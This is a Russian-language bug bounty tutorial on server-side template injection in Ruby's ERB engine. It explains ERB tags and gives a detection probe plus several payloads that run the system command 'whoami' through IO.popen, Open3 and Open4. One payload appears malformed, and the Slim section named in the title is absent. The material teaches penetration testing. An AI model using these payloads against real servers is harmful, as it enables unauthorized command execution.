#44 Bug Bounty v.2 — Server Side Template Injection (SSTI). Ruby — ERB. Ruby — Slim
Здравствуйте, дорогие друзья.
ERB — это движок создания шаблонов на Ruby, используемый для встраивания кода на ruby. Согласно Google, “шаблон ERB выглядит как обычный текстовый документ, в который вставлены теги, содержащие код на Ruby. При оценке этот код с тегами может изменять текст в шаблоне”. Пример уязвимого шаблона можно найти на изображении ниже:
Обратите внимание, что ERB использует следующие теги для встраивания кода:
● <% code %>
● <%= code %>
Первый пример “<%code%>” используется для выполнения кода на ruby, а второй пример “<%= code%>” используется для выполнения кода на ruby и возврата результатов. Чтобы протестировать внедрение шаблона на стороне сервера в этом движке, используйте следующую команду:
● <%= 7 * 7 %>
Как вы можете видеть выше, код был выполнен и вернул значение “49”. Это явный признак того, что сервер уязвим для внедрения шаблона на стороне сервера. Чтобы проверить выполнение кода, просто запустите свой ruby-код, как показано ниже:
● <%= whoami
%>
● <%= IO.popen(‘whoami’).readlines() %>
● <% require ‘open3’ %><% @a,@b,@c,@d=Open3.popen3(‘whoami’) %><%=
@b.readline()%>
● <% require ‘open4’ %><% @a,@b,@c,@d=Open4.popen4(‘whoami’) %><%=
@c.readline()%>